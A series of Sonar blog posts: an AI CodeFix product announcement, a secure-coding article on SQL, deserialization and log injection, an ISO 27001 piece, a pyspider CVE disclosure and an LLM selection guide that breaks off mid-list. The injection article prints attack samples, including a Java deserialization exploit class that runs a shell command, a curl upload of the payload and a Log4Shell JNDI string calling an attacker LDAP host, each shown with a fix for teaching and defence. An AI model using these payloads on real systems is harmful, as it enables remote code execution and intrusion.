Sonar AI CodeFix is a capability in SonarQube Server and SonarQube Cloud that automatically generates AI-driven code fix suggestions for issues detected by static code analysis.
When a problem is identified, AI CodeFix sends the affected code snippet and issue description to an LLM, which proposes a targeted edit that resolves the issue without changing existing functionality.
AI CodeFix supports Java, JavaScript/TypeScript, C#, Python, C, and C++, and integrates directly into popular IDEs including VS Code, Cursor, Windsurf, and IntelliJ.
The feature is included in SonarQube Cloud Team and Enterprise plans and in SonarQube Server Enterprise and Data Center editions, designed to accelerate remediation and reduce manual debugging toil.

The demand for rapid and reliable code delivery is higher than ever. Developers face constant pressure to write, debug, and deploy code efficiently, while engineering leaders seek tools that enhance productivity, reduce time-to-market, and maintain high code quality. To meet these demands, we are excited to introduce Sonar AI CodeFix, designed to streamline the way developers address code issues.

What is Sonar AI CodeFix?

Sonar AI CodeFix is a powerful capability that suggests code fixes for issues discovered by our code analysis solutions SonarQube Server and SonarQube Cloud. By automating the resolution of common coding problems, AI CodeFix significantly boosts developer speed and productivity. With just one click in the existing UI, millions of developers on the Sonar platform can receive suggestions on how to resolve a range of issues, streamlining the debugging process.

How Sonar AI CodeFix Works

Sonar’s static code analysis in SonarQube Server and SonarQube Cloud scans repositories to detect bugs, security vulnerabilities, and code quality issues across popular languages and frameworks. Code analysis is triggered during events such as pushing to a branch or opening a pull request. When a problem is identified, it is presented to the user as a bug, vulnerability, or code quality issue. Building on top of this detection, Sonar AI CodeFix can go a step further by utilizing a large language model (LLM) to generate an AI-driven code fix for issues discovered by the static code analysis. The basic principle behind AI CodeFix is straightforward: when you request a code fix for a problem, it sends the affected code snippet along with a description of the issue to an LLM. The proposed code edits generated by the LLM are designed to resolve the problem without altering the existing functionality of the code.

Key Features of Sonar AI CodeFix

Instant Code Fixes

AI CodeFix automatically generates code fix suggestions with a click, minimizing manual debugging efforts and allowing developers to focus on more critical tasks.

Contextual Understanding of Sonar Findings

By leveraging LLMs, AI CodeFix understands the context of your code and provides relevant fixes, ensuring that the suggested solutions are accurate and tailored to your codebase.

Seamless Workflow

AI CodeFix allows developers to fix issues directly within their integrated development environment (IDE) using SonarQube for IDE connected mode, ensuring a smooth workflow.

Continuous Learning

AI CodeFix continuously improves its suggestions based on user feedback, new data, and LLM improvements, ensuring that the tool remains up-to-date with the latest coding practices and trends.

Multi-Language Support

Broad Compatibility: Supports flagship programming languages including Java, JavaScript, TypeScript, C#, Python, C, and C++, ensuring that a wide range of development projects can leverage Sonar AI CodeFix’s capabilities.
Versatile Application: Whether you're working on frontend, backend, or full-stack projects, Sonar AI CodeFix has you covered.

Getting Started with Sonar AI CodeFix

For a limited time, AI CodeFix is available for free in Early Access on SonarQube Server and SonarQube Cloud. AI CodeFix can easily be enabled in the Administration UI for any organization by going to the Organization settings.

AI CodeFix targets issues detected in pull requests and code branches, ranging from simple bugs and security vulnerabilities to areas where code quality can be enhanced. Next to each detected issue that it can resolve, you'll find a “Generate AI Fix” button. Clicking this button triggers AI CodeFix to analyze the problem and generate a suggested solution. This suggestion appears right on the pull request page, allowing you to see the fix in context. This allows developers to review, commit, dismiss, or edit the suggestion. The suggested fix can be copied for manual implementation or directly applied by opening the file in IDE that has SonarQube for IDE configured in connected-mode.

Experience Sonar AI CodeFix

AI CodeFix is now available in early access to all SonarQube Server 10.7 and SonarQube Cloud customers. It is included in the Team and Enterprise plans of SonarQube Cloud and in the Enterprise Edition and Data Center Edition of SonarQube Server. During the Early Access period, we are gathering feedback using an in-app survey. Your input will help us fix minor issues and monitor metrics to ensure our suggestions effectively address bugs and security vulnerabilities. In parallel, we are working on expanding AI CodeFix to more languages, and continuously improving the user experience.

We invite you to explore AI CodeFix by signing up for a SonarQube Cloud Team plan trial or requesting a trial for SonarQube Server Enterprise Edition. By integrating Sonar AI CodeFix into your development process today, you can experience enhanced productivity, improved code quality, and faster time to market.

Learn more about AI CodeFix

Top Security Flaws hiding in your code right now - and how to fix them

Jonathan Vila — Mon, 09 Sep 2024 13:00:00 GMT

TL;DR overview

The most common security flaws hiding in production code include SQL injection, cross-site scripting, hardcoded credentials, and insecure deserialization—all detectable through SAST.
These vulnerabilities persist because developers often lack real-time feedback on security issues within their normal coding workflow.
SonarQube identifies these flaws during development by analyzing code for known vulnerability patterns and taint flows, providing actionable remediation guidance.
Enforcing security-focused quality gates in CI/CD ensures that known vulnerability patterns are blocked before reaching production.

In 2019, a famous breach in MongoDB caused by NoSQL injection affected thousands of databases, resulting in significant financial losses for the companies involved. The incident highlighted the importance of properly securing NoSQL databases.

But this is not an isolated issue.

Multiple attacks involving SQL injection have occurred, like the one Tesla experienced in 2018. In that case, Tesla’s Kubernetes console was also affected by another NoSQL injection attack, which caused Tesla financial losses due to unauthorized mining activities.

But this is not only about SQL Injection.

There are other attack vectors that your code can suffer right now, as big companies have suffered in the past.

As the one in 2021 in the Log4J library called Log4Shell that involved a logging injection attack that impacted millions of servers worldwide up to today, or the one in 2022 in Atlassian Jira that involved a deserialization attack impacting multiple versions of Jira conceding full control to the attacker.

It could happen to anyone, even to you.

In this article, I’ll discuss the 3 types of most common attacks in code: SQL injection, Deserialization Injection, and Logging Injection, and how to solve them.

SQL Injection

Applications that store information in databases often use user-generated values to check for permissions, store information, or simply retrieve data stored in tables, documents, points, nodes, etc.

At that moment, when our application is using those values, improper use could allow attackers to introduce extra queries sent to the database to retrieve unallowable values or even modify those tables to gain access.

The following code retrieves a user from the database considering the username provided in the login page.

Everything seems to be fine.

  public List<String> findUsers(String user, String pass) throws Exception {
    String query = "SELECT userid FROM users " +
                   "WHERE username='" + user + "' AND password='" + pass + "'";
       Statement statement = connection.createStatement();
       ResultSet resultSet = statement.executeQuery(query);
       List<String> users = new ArrayList<String>();
       while (resultSet.next()) {
           users.add(resultSet.getString(0));
       }
       return users;
   }

However, when the attacker uses injection techniques, this code, using string concatenation, will result in unexpected results, allowing the attacker to log into the application.

To fix this problem we would change this approach from using string concatenation to parameter injection. In fact, String concatenation is generally a bad idea, in terms of performance and security.

String query = "SELECT userid FROM users " +
                    "WHERE username='" + user + "' AND password='" + pass + "'";

Changing the inclusion of the parameter values directly in the SQL String, to parameters that we can reference later will solve the problem of hacked queries.

String query = "SELECT userid FROM users WHERE username = ? AND password = ?";

Our fixed code will look like this, with the prepareStatement and the value setting for each parameter.

    public List<String> findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
       try (PreparedStatement statement = connection.prepareStatement(query)) {
           statement.setString(1, user);
           statement.setString(2, pass);
           ResultSet resultSet = statement.executeQuery(query);
           List<String> users = new ArrayList<>();
           while (resultSet.next()) {
               users.add(resultSet.getString(0));
           }

           return users;
       }
    }

The SonarQube Server and SonarQube Cloud rules that help detect the SQL injection vulnerability can be found in the product.

Deserialization injection

Deserialization is the process of converting data from a serialized format (like a byte stream, string, or file) back into an object or data structure that a program can work with.

Common usages of deserialization include data sent between APIs and Web services in the form of JSON structures, or in modern applications using RPC (Remote Procedure Calls) in the form of protobuf messages.

Converting the message payload into an Object can involve serious vulnerabilities if no sanitizing or checking steps are implemented.

    @POST
    @Path("/binary")
    public String saveBinary(InputStream userStream) throws SQLException, ClassNotFoundException, IOException {
        Log.info("Saving binary user ");
        ObjectInputStream objectInputStream = new ObjectInputStream(userStream);
        User user = (User) objectInputStream.readObject();
        return String.valueOf(dbService.save(user));
    }

   class User implements Serializable {
       private static final long serialVersionUID = 1L;
       private String name;  

       public User(String name) {
           this.name = name;
       }

       public String getName() {
           return name;
       }
   }

We can see here that we are using `objectIS`, a direct value coming from the user in the request input stream, and converting it to a new object.

We expect that the value will always be one of the classes that our application uses. Sure, our client would never send anything else, right? Would they?

But what if a malicious client is sending another class in the request?

   public class Exploit implements Serializable {

       private void readObject(java.io.ObjectInputStream in) {
           // Malicious action: Open the calculator
           try {
               Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "rm -rf /tmp/vulnerable.txt"}, null, null);
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }

In this case, we have a class that deletes a file during the overridden "readObject" method, which will happen on the previous “readObject” call.

The attacker only needs to serialize this class and send it to the API :

   Exploit exploit = new Exploit();
   FileOutputStream fileOut = new FileOutputStream("exploit.ser");
   ObjectOutputStream out = new ObjectOutputStream(fileOut);
   out.writeObject(exploit);
...

$ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user

This will cause our call to fail with a class cast Exception, but this won't prevent it from executing the malicious code that happens before the cast.

java.lang.ClassCastException: class org.vulnerable.Exploit cannot be cast to class org.vilojona.topsecurityflaws.deserialization.User

Fortunately, there’s an easy way to fix this. We need to check if the class to be deserialized is from one of the allowed types before creating the object.

In the code above, we have created a new ObjectInputStream with the “resolveClass” method overridden containing a check on the class name. We use this new class, SecureObjectInputStream, to get the object stream. But we include an allowed list check before reading the stream into an object (User).

 public class SecureObjectInputStream extends ObjectInputStream {
   private static final Set<String> ALLOWED_CLASSES = Set.of(User.class.getName());

   @Override
   protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
     if (!ALLOWED_CLASSES.contains(osc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization", osc.getName());
     }

     return super.resolveClass(osc);
   }
 }
...    
 public class RequestProcessor {
   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
     ServletInputStream servletIS = request.getInputStream();
     ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);
     User input                 = (User) objectIS.readObject();
   }
 }

The SonarQube Cloud/SonarQube and SonarQube for IDE rules that help detect the deserialization injection vulnerability can be found in product.

Logging injection

A logging system is a software component or service designed to record events, messages, and other data generated by applications, systems, or devices. Logs are essential for monitoring, troubleshooting, auditing, and analyzing software and system behavior and performance.

Usually, these applications record failures, attempts to log in, and even successes that can help in debugging when an eventual issue occurs.

But, they can also become an attack vector.

Log injection is a type of security vulnerability where an attacker can manipulate log files by injecting malicious input into them. If logs are not properly sanitized, this can lead to several security issues.

We can find issues like log forging and pollution when the attacker modifies the log content to corrupt them or to add false information to make them difficult to analyze or to break log parsers, and also log management systems exploits, where the attacker will inject logs to exploit vulnerabilities in log management systems, leading to further attacks such as remote code execution.

Let’s consider the following code, where we take a value from the user and log it.

   public void doGet(HttpServletRequest request, HttpServletResponse response) {
       String user = request.getParameter("user");
       if (user != null){
         logger.log(Level.INFO, "User: {0} login in", user);
       }
   }

It looks harmless, right?

But what if the attacker tries to log in with this user?

john login in\n2024-08-19 12:34:56 INFO User 'admin' login in

It’s clearly a wrong user name and it will fail. But, it will be logged and the person checking the log will get very confused

2024-08-19 12:34:56 ERROR User 'john' login in

2024-08-19 12:34:56 INFO User 'admin' login in

Or even worse !! If the attacker knows the system is using a non-patched Log4J version, they can send the below value as the user and the system will suffer from remote execution. The LDAP server controlled by the attacker responds with a reference to a malicious Java class hosted on a remote server. The vulnerable application downloads and executes this class, giving the attacker control over the server.

${jndi:ldap://malicious-server.com/a}

But we can prevent these issues easily.

Sanitizing the values to be logged is important to avoid the log forging vulnerability, as it can lead to confusing outputs forged by the user.

     // Log the sanitised username
     String user = sanitiseInput(request.getParameter("user"));
     ...
   }   

  private String sanitiseInput(String input) {
     // Replace newline and carriage return characters with a safe placeholder
     if (input != null) {
       input = input.replaceAll("[\\n\\r]", "_");
     }
     return input;
   }

The result we’ll see in the logs is the following, making it now easier to see that all the logs belong to the same call to the log system.

2024-08-19 12:34:56 ERROR User 'john' login in_2024-08-19 12:34:56 INFO User 'admin' login in

In order to prevent the exploit to the logging system, it’s important to keep our libraries updated to the latest stable versions as much as possible. For log4j, that remediation would disable the functionality. We can also manually disable JNDI.

-Dlog4j2.formatMsgNoLookups=true

If you still need to use JNDI, then a common sanitizing process could avoid malicious attacks by just checking the destination against an allowed destinations list.

public class AllowedlistJndiContextFactory implements InitialContextFactory {
   // Define your list of allowed JNDI URLs
   private static final List<String> ALLOWED_JNDI_PREFIXES = Arrays.asList(
       "ldap://trusted-server.com",
       "ldaps://secure-server.com"
   );

   @Override
   public Context getInitialContext(Hashtable<?, ?> environment) throws NamingException {
       String providerUrl = (String) environment.get(Context.PROVIDER_URL);      

       if (isAllowed(providerUrl)) {
           return new InitialContext(environment); 
       } else {
           throw new NamingException("JNDI lookup " + providerUrl + " not allowed");
       }
   }
   private boolean isAllowed(String url) {
       if (url == null) {
           return false;
       }

       for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {
           if (url.startsWith(allowedPrefix)) {
               return true;
           }
       }

       return false;
   }
}

And configure our system to use the filtering context factory.

-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory

The SonarQube Cloud/SonarQube and SonarQube for IDE rules that help detect the logging injection vulnerability can be found in product.

Conclusion

Security vulnerabilities are not just theoretical concerns but real threats that have already impacted major companies, resulting in substantial financial and reputational damage.

From SQL injections to Deserialization and Logging injections, these attack vectors are prevalent and can easily exploit insecure code if not properly addressed.

By understanding the nature of these vulnerabilities and implementing the recommended fixes, such as using parameterized queries, avoiding unsafe deserialization practices, and properly securing logging frameworks, developers can significantly reduce the risk of these attacks.

Proactive security measures are essential to protect your applications from becoming the next victim of these widespread and damaging exploits.

Sonar provides tools like SonarQube for IDE, SonarQube Server, and SonarQube Cloud that can detect, warn about, and suggest fixes for all these vulnerabilities.

ISO 27001 Importance

Mark Clements — Tue, 03 Sep 2024 22:00:00 GMT

TL;DR overview

ISO 27001 is the international standard for information security management systems (ISMS), providing a framework for identifying, managing, and reducing information security risks across an organization.
For software-producing organizations, ISO 27001 requires demonstrating that development processes—including code security practices—are formally controlled, documented, and auditable.
SonarQube supports ISO 27001 compliance by embedding security analysis into the SDLC, creating continuous audit evidence that security vulnerabilities are identified and tracked in the development workflow.
Organizations pursuing ISO 27001 certification should document how their code analysis tooling maps to specific Annex A controls, particularly those covering secure development practices and vulnerability management.

The Importance of ISO 27001

ISO 27001 is the commonly recognized standard for information security management systems (ISMS), outlining the requirements an ISMS must meet. Security standards such as ISO 27001 are crucial for businesses as they offer a structured framework for managing and safeguarding sensitive information.

These standards establish a set of practices and controls that have proven to enhance information security when implemented and adhered to. Additionally, the requirement for senior management involvement and accountability ensures a strategic and financial commitment to achieving stronger security.

Achieving certification requires inspection and assessment by a third party, which instills confidence in customers and stakeholders regarding the company's ability to safeguard their data.

Challenges in Meeting Secure Coding Standards for ISO 27001 Compliance

Ensuring that the control requirements are met and that these controls operate effectively across all processes can be a significant challenge for companies, particularly for those developing software with ambitious business goals. These challenges can lead to friction between the product and engineering teams and the security and compliance teams.

Let's consider the ISO 27002 control, 8.28 Secure coding, the objective of which is “to ensure software is written securely thereby reducing the number of potential information security vulnerabilities in the software." Conforming to the requirements of this control manually can be a burden to the organization:

“using secure programming techniques, such as peer review”
“secure coding practices specific to the programming languages being used”
“using structured programming techniques”
“prohibiting the use of insecure design techniques”
“conducting an analysis of the most common programming errors”
“ensuring that software is maintainable”
“tracking the usage of third-party libraries and source code for vulnerabilities”

While pair programming has proven benefits, peer-reviewing all code changes with the same level of detail and accuracy is difficult and resource-intensive. The need for additional resources when multiple languages are being used just exacerbates the problem. Manual peer review is a tax on developer productivity.

For teams working towards aggressive deadlines with overstuffed sprints, these important controls often become lower priorities. This leads to the deployment of code that may work well at the time but is difficult to maintain and contains exploitable vulnerabilities. When the auditor requests evidence of a consistent operation of security controls in the development process, a successful recertification is put at risk.

Implementing 8.28 Secure Coding with Sonar

Sonar’s integrated code quality and code security solutions analyze all code — whether its human-written, AI-generated, or third-party open source — resulting in more secure, reliable, and maintainable software. The SonarQube offering is available as self-managed (SonarQube Server) and cloud-based (SonarQube Cloud), and has a free IDE extension (SonarQube for IDE), to seamlessly integrate into your development and build processes, automatically enforcing ISO 27002 8.28 Secure Coding controls for all code branches and pull requests. Additionally, Sonar takes code security a step further with its add-on for SonarQube Enterprise, SonarQube Advanced Security. It extends SonarQube's powerful analysis to protect your entire software supply chain, with a particular focus on open source dependencies that’s achieved through two major capabilities: SCA and advanced SAST.

You will also benefit from broad coverage of other ISO 27002 controls such as 8.26 Application Security Requirements, 8.8 Management of technical vulnerabilities, and 8.29 Security Testing in Development and Testing. The impact on the developers is minimal and predictable, as all they need to do is correct the findings. Using the IDE-integrated SonarQube for IDE plugin shifts this process even further left, catching issues in real-time as they are coding. And, with static analysis rules for 30+ programming languages, it is easy to ensure the full development stack is covered.

Project managers will have access to consolidated statistics via rich reports and dashboards of findings and outstanding issues to ensure consistent measurement of quality and security across all products, departments, and teams. Quality and security gates can be fine-tuned to promote continuous improvement.

Sonar also simplifies the process of providing evidence of secure and high-quality code to auditors. All changes are tracked and reported through the enterprise reports. Continuous improvement can also be demonstrated to the auditor, evidencing the raising of the gate and the drop in the number of findings.

Furthermore, by continuously educating developers through 6,000+ static analysis rules, you can demonstrate that developers are adequately trained in accordance with ISO 27002 8.25, the Secure development life cycle that requires “application security knowledge and training.”

Ready to enhance your code security and streamline compliance? Integrate SonarQube Server, SonarQube Cloud, and SonarQube for IDE into your development workflow to automatically enforce ISO 27002 8.28 Secure Coding controls.

Start your journey towards robust, secure code and efficient compliance by requesting a demo or evaluating SonarQube Server or SonarQube Cloud today!

Basic HTTP Authentication Risk: Uncovering pyspider Vulnerabilities

Yaniv Nizry — Mon, 02 Sep 2024 22:00:00 GMT

TL;DR overview

Sonar's security research team uncovered critical vulnerabilities in PySpider, a popular Python web scraping framework, stemming from inadequate authentication and unsafe code execution patterns.
The most severe issue is that PySpider's built-in web UI relies on weak HTTP Basic Authentication, and in certain configurations operates with no authentication at all—exposing the interface to unauthorized access.
Attackers who gain access to the PySpider UI can execute arbitrary Python code on the server through the script editor, leading to full remote code execution.
Developers using PySpider should immediately secure the web UI with strong authentication, restrict network access to trusted hosts, and apply all available security patches.

pyspider is a powerful and versatile web crawling framework that caters to various use cases. With its user-friendly approach, robust features, and extensive support for different technologies, it's a great choice for developers who want to build reliable and efficient web scrapers in Python. Unfortunately in the last years, the project was neglected and left unmaintained, and as a result of our reporting, the maintainer archived the GitHub repository to highlight that the project is not updated anymore. This also means that security vulnerabilities are not fixed.

Driven by our dedication to both open-source security and the advancement of our Code Quality technology, we leverage SonarQube Cloud to conduct frequent vulnerability scans on open-source projects. This not only benefits the broader open-source community but also strengthens our own tools – and the best part? SonarQube Cloud offers free code analysis for any open-source project, making it accessible to everyone.

This article delves into the consequences of vulnerabilities found by our engine and uncovers the risk of using basic HTTP authentication. We'll also explore how attackers might leverage this vulnerability.

Impact

An attacker might manipulate an authenticated victim to click on a malicious link, resulting in code execution on the host running pyspider. After we reported our findings, the maintainer has archived the repository on GitHub, making sure users are aware the project isn’t supported anymore (refer to the Patch and Timeline sections for more info).

Watch the video

Technical Details

In this section, we will cover the technical details of the findings, and interesting security information for developers opting to use the basic HTTP authentication in their application.

Background

Before delving into the details of the findings, we first need to understand some basic features of the application. pyspider provides users with a convenient WebUI component that allows project management, task monitoring, viewing results, and crawl script code editors. From a security point of view, the code editor feature allows running arbitrary Python code on the machine through the web interface, by design. To protect an externally exposed instance, pyspider offers the ability to enable authentication via the --need-auth flag.

Discovering vulnerabilities

SonarQube Cloud, our cloud-based code analysis service, employs cutting-edge static analysis techniques to identify quality issues, bugs, and security weaknesses within your code. During a routine scan of public open-source projects, SonarQube Cloud identified the following issues in pyspider's WebUI component (see it yourself on SonarQube Cloud):

The first one is a detected vulnerability covering a Cross-Site Scripting (XSS) reflection on the /update route via the name parameter:

The second finding is a security hotspot warning us that there is a risk of Cross-Site Request Forgery (CSRF) when using Flask without any protection.

The key distinction between a hotspot and a vulnerability lies in the immediacy of the security risk. (read more in the official documentation)

Hotspot: A hotspot flags a potentially risky code section that might become a vulnerability in certain contexts. It's like a yellow traffic light – proceed with caution and review the code. The overall application security might not be compromised, but further analysis is recommended.
Vulnerability: A detected vulnerability represents a high likelihood of a security weakness that can be exploited by attackers. It's akin to a red traffic light – stop and fix the issue immediately. Vulnerabilities pose a clear and present danger to the application's security.

Let's consider a CSRF hotspot rule:
The scanner might highlight a POST endpoint that doesn't include a CSRF token. This is a hotspot because, without a token, an attacker could potentially craft a malicious request that tricks a user's browser into submitting the form unintentionally. However, a CSRF attack can be mitigated already depending on the cookie’s SameSite type used in the application. Or, the application logic of that endpoint doesn't have any security impact nor require authentication in the first place. For those reasons, it might be considered a low-priority hotspot for review, depending on the specific context of the application.

Basic HTTP authentication CSRF (CVE-2024-39163)

In the case of pyspider, the hotspot was relevant and exploitable. As mentioned before, access to the pyspider WebUI is equivalent to code execution. In instances where authentication is not enabled, it's considered a risk introduced by the pyspider user rather than a vulnerability. We are interested to see what can go wrong if authentication is enabled.

Before trying to validate the CSRF hotspot, let's see how pyspider implements authentication. Setting up the application using the --need-auth flag, and trying to access the web interface we are introduced to the following browser-default login prompt:

This authentication method is used under the hood is Basic HTTP authentication. While this is a rather legacy authentication mechanism it is still supported by modern browsers. On top of that they handle it conveniently, by using the built-in UI prompt and sending the credentials in the subsequent requests via the Authorization header:

Unlike the other common way of authentication and maintaining a session via cookies, the browser doesn't implement any CSRF mitigation for the basic HTTP authentication and the corresponding Authorization header, such as SameSite cookies. The browser adds the Authorization header containing the Basic auth credentials to all cross-site requests as well. This means that the only thing standing between a CSRF vulnerability and the application are mitigations on the endpoint level (a CSRF token, for instance).

Because no mitigation steps are taken, an attacker would just need to understand which requests are made to execute arbitrary code on the machine and craft a malicious website that replicates them, exploiting the CSRF vulnerability. Manipulating an authenticated victim to visit the attacker’s website will result in arbitrary code execution.

Reflected XSS Vulnerability (CVE-2024-39162)

The second detected vulnerability reported by SonarQube Cloud is an XSS in the /update endpoint.

@app.route('/update', methods=['POST', ])
def project_update():
    # ...
    name = request.form['name']
    # ...
    if name not in ('group', 'status', 'rate'):
        return 'unknown field: %s' % name, 400

This simple example showcases how a reflected XSS looks like on the code level. A parameter is taken from the request (a user input) and if certain conditions match, the value is reflected back to the user.

While this is a POST-only endpoint, an attacker cannot simply craft a malicious link with a reflected XSS payload, but by leveraging the first finding, an attacker can create a malicious website that uses CSRF and elevate it to XSS. From there, code execution on the server is an intended feature.

Patch

After disclosing the vulnerabilities the maintainer stated that this project is no longer maintained and archived the repository on GitHub as a result. We recommend avoiding using unmaintained code, or as a last resort, disabling the WebUI component of pyspider.

Timeline

Date	Action
2024-04-03	We reported all issues to the maintainers
2024-04-29	We pinged the maintainers
2024-05-03	We pinged the maintainers again mentioning that 60 days had passed
2024-06-03	We notified the maintainers that the 90-day disclosure window has passed and we will release a blog post about the findings
2024-06-11	The maintainer stated the project is unmaintained and archived the repository
2024-07-05	CVE-2024-39163 and CVE-2024-39162 were assigned

Summary

This blog post delves into the critical role of code analysis in safeguarding applications. We showcase the power of SonarQube Cloud, our cloud-based service that identifies security vulnerabilities often buried within your codebase. SonarQube Cloud ensures Code Quality practices enhancing code readability, maintainability, and security. Code Quality and proactive code analysis empower developers to build more secure applications.

We explored real-world examples of vulnerabilities unearthed by SonarQube Cloud, highlighting the potential dangers they pose. And explained how legacy basic HTTP authentication could be convenient to use but might contain some security risks. Additionally, we demonstrated the differences between a “vulnerability” finding vs a “hotspot”, and why developers shouldn’t neglect them.

How to Choose an LLM in Software Development

Manish Kapur — Tue, 27 Aug 2024 15:00:00 GMT

This blog was originally published on August 27, 2024, and was last updated in January 2025.

TL;DR overview

Selecting the right Large Language Model (LLM) for software development requires evaluating business goals, task types, model size, privacy requirements, and cost—there is no universal best choice.
Commercial LLMs (e.g., GPT-4o, Claude) offer larger, more capable models with extensive fine-tuning, while open-source LLMs (e.g., Meta's Llama) provide flexibility, customization, and data privacy control.
Regardless of LLM choice, AI-generated code must be verified for quality and security: Sonar AI Code Assurance integrates into the development workflow to ensure all generated code meets production standards.
The best approach is to define your task's complexity and security requirements first, then select a model that balances performance, cost, and compliance needs—and always verify the output.

With so many Large Language Models (LLMs) out there, selecting the right LLM is crucial for any organization looking to integrate AI into its operations. Whether you’re developing AI-driven applications, automating tasks, or exploring AI for code generation, your choice of LLM can significantly influence your project’s success.

Before diving into the technical details of selecting a Large Language Model, it's crucial to first define your business goals and specific use cases. Determine the tasks you need the model to handle—whether it's Natural Language Processing (NLP) for customer support, speech recognition, a multimodal model for combining text and images, or AI-assisted code generation. Start by identifying the specific modality you need. If you're focused on text processing, choose a text model—there's no need for an image or audio model. However, if your task involves table parsing, image analysis, or audio processing, you'll need a model tailored to that specific modality.

Some LLMs are better suited for solving specific business challenges than others; one size does not fit all. By aligning the model’s capabilities with your business objectives, you can ensure that the technology you choose will effectively address your needs and deliver measurable value.

This blog will guide you through the key considerations when choosing an LLM, especially for AI code generation, and will compare commercial and open-source LLMs to help you make an informed decision.

Commercial LLMs vs. Open-Source LLMs

There are two main categories of LLMs: commercial Large Language Models and open-source Large Language Models. Commercial LLMs, developed by companies like OpenAI, Google, or Microsoft, are proprietary models that come with a subscription fee. Open-source LLMs, such as those from the Hugging Face or Meta AI, are developed and maintained by a community of contributors and are freely available for anyone to use and modify. The choice between commercial and open-source LLMs often depends on factors like expertise, budget, and the specific requirements of the project. Let's now look at these factors and compare the strengths and weaknesses of commercial and open-source LLMs to help you make the best choice for your needs.

Expertise and Setup

Commercial LLM: These models are generally ready to use with minimal setup required. For instance, OpenAI’s GPT-4 offers pre-built capabilities that can be easily integrated into your applications, making it ideal for teams with limited AI/ML expertise. This approach is perfect for those looking to get started quickly without the need for deep technical knowledge.

Open-Source Pre-Trained LLM: On the other hand, models like Meta’s LLaMA or OPT require significant expertise in fine-tuning and deployment. These models are more flexible and can be customized to fit specific needs, but they demand a team with strong AI/ML skills. This setup is ideal for organizations with in-house expertise that can manage and optimize these models to get the best results.

Budget Considerations

Commercial LLM: If you’re looking to minimize upfront costs, commercial LLM APIs are the way to go. They allow you to get your Minimum Viable Product (MVP) up and running quickly without the need for large R&D investments. However, keep in mind that as you scale, costs can rise significantly, especially with API usage fees.

Open-Source Pre-Trained LLM: While the initial investment in setting up an open-source model may be higher, the long-term cost efficiency is better. Once the model is fine-tuned and deployed, you avoid the recurring API fees, making this option more cost-effective at scale.

Time to Market

Commercial LLM: If speed is your priority, commercial LLM APIs offer the fastest route to market. They are designed for rapid deployment, allowing you to quickly integrate AI capabilities into your applications. However, relying on these APIs may limit your competitive edge in the long run due to the lack of differentiation.

Open-Source Pre-Trained LLM: Although it takes more time to set up and fine-tune open-source models, the payoff is worth it. Customizations and optimizations can give you a sustainable competitive advantage, particularly in specialized use cases like AI code generation.

Control Over Model Quality & Customization

Commercial LLM: With commercial LLM APIs, your control over the model is limited. These models often operate as “black boxes,” meaning you can’t modify their inner workings. This lack of control can be a drawback if you need the model to behave in a specific way or adhere to particular standards, such as secure coding practices.

Open-Source Pre-Trained LLM: Open-source models offer complete control over their architecture and behavior. For example, fine-tuning a model like GPT-J or CodeLlama allows you to optimize it for code generation tasks, ensuring the generated code meets your specific quality and security standards. While fine-tuning has been a common approach to customize LLMs for specific tasks, Retrieval-Augmented Generation (RAG) is becoming increasingly popular. RAG combines the power of LLMs with external knowledge bases, enabling the model to retrieve relevant information in real time. For example, integrating RAG with open-source models like Code LLaMA can significantly enhance their performance in specialized tasks.

Data Privacy

Commercial LLM: Many commercial models require sending your data to third-party servers for processing. This can be a dealbreaker for organizations dealing with sensitive data or operating in highly regulated industries.

Open-Source Pre-Trained LLM: With open-source models, you have full control over your data. You can host the model on-premises, ensuring that all data stays within your organization’s secure environment. This is particularly important for companies handling confidential or sensitive information.

Inference Speed

Commercial LLM: Commercial LLMs' inference speed is generally fast, but it can be impacted by API delays, high latency, or disruptions, especially as usage scales. This can be a bottleneck in time-sensitive applications.

Open-Source Pre-Trained LLM: Open-source models give you the flexibility to optimize for lower latency, enabling faster and more consistent performance. Deploying the model locally on powerful, dedicated hardware, you can achieve better inference speeds.

Cost Efficiency at Scale

Commercial LLM: While commercial LLMs are easy to start with, costs can balloon as you scale, especially with per-token pricing models. This can become a significant expense for large-scale projects.

Open-Source Pre-Trained LLM: Once set up, open-source models typically offer a more predictable and lower-cost structure. For example, models like Qwen2.5-Coder can be run on your own infrastructure, making them more cost-effective in the long run.

Size of LLM

The size of an LLM is typically measured by the number of parameters it contains. Parameters are the elements within the model that are learned from the data during training, and they play a critical role in the model’s ability to understand and generate text. The key to choosing the right LLM lies in balancing the model’s size with your application’s specific requirements, cost constraints, and deployment environment. Often, experimenting with different model sizes and configurations can help identify the best fit.

Commercial LLM: Commercial LLMs, developed by companies like OpenAI and Google, typically offer larger and more sophisticated models. These models have been trained on vast datasets and have undergone extensive fine-tuning, making them highly capable but also resource-intensive. The size of these models often translates to better performance, especially for complex tasks, but it also requires more powerful hardware and more substantial investment in terms of computational resources.

Open-Source Pre-Trained LLM: Open-source LLMs vary widely in size. While there are some large open-source models that rival commercial offerings, many open-source models are designed to be more lightweight and accessible, catering to developers who may not have access to high-end hardware. These smaller models are easier to deploy and can be more cost-effective, but they might not offer the same level of performance or accuracy as their larger, commercial counterparts. However, the flexibility to customize and optimize (fine-tuning, using RAG) these models for specific tasks can sometimes offset the limitations of size.

LLMs for AI Code Generation

Choosing the right LLM for AI code generation involves balancing various factors such as code quality, security, customization, model size, and cost. Consider scalability and the balance between cost and performance. Additionally, ensure the model aligns with your ethical standards and has strong support, whether from a vendor or the open-source community.

When choosing an LLM for AI code generation, consider these additional criteria:

Supported Programming Languages: Ensure the LLM supports the programming languages you're using in your project.

Code Quality: Look for an LLM that generates clean, well-structured, and efficient code.

Accuracy: The LLM should be able to generate code that functions correctly and meets your requirements.

Integration Capabilities: Consider how the LLM integrates with your development workflow and tools.

Some popular LLMs used for AI code generation include:

OpenAI Codex (Commercial): This LLM is specifically designed for code generation and can translate natural language instructions into Python, Java, JavaScript, and other programming languages.

